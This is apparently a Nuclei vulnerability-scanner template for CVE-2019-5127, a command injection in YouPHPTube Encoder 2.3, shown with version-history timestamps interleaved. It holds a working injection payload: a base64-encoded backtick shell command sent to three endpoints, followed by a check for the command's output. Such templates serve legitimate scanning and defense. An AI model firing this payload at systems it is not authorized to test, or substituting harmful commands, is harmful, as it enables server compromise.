nuclei-templates/http/cves/2019/CVE-2019-5127.yaml

63 lines
1.7 KiB
YAML
Raw Normal View History

id: CVE-2019-5127
info:
name: YouPHPTube Encoder 2.3 - Remote Command Injection
author: pikpikcu
severity: critical
description: YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php.
reference:
- https://talosintelligence.com/vulnerability_reports/TALOS-2019-0917
- https://nvd.nist.gov/vuln/detail/CVE-2019-5127
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-5127
cwe-id: CWE-78
2023-07-11 19:49:27 +00:00
epss-score: 0.97401
cpe: cpe:2.3:a:youphptube:youphptube_encoder:2.3:*:*:*:*:*:*:*
metadata:
max-request: 4
2023-07-11 19:49:27 +00:00
vendor: youphptube
product: youphptube_encoder
tags: cve,cve2019,rce
2023-07-20 07:43:09 +00:00
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
encode: "`id > {{filename}}.txt`"
http:
- method: GET
path:
2023-07-20 07:43:09 +00:00
- "{{BaseURL}}/objects/getImage.php?base64Url={{base64(encode)}}=&format=png"
- "{{BaseURL}}/objects/getImageMP4.php?base64Url={{base64(encode)}}=&format=jpg"
- "{{BaseURL}}/objects/getSpiritsFromVideo.php?base64Url={{base64(encode)}}=&format=jpg"
2023-07-11 19:49:27 +00:00
headers:
Content-Type: application/x-www-form-urlencoded
2023-07-11 19:49:27 +00:00
- method: GET
path:
2023-07-20 07:43:09 +00:00
- "{{BaseURL}}/objects/{{filename}}.txt"
2023-07-11 19:49:27 +00:00
headers:
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
2021-03-04 15:23:55 +00:00
- type: word
2023-07-11 19:49:27 +00:00
part: body
2021-03-04 15:23:55 +00:00
words:
- "uid="
- "gid="
- "groups="
condition: and
2021-03-04 15:23:55 +00:00
- type: word
2023-07-11 19:49:27 +00:00
part: header
2021-03-04 15:23:55 +00:00
words:
- text/plain
- type: status
status:
- 200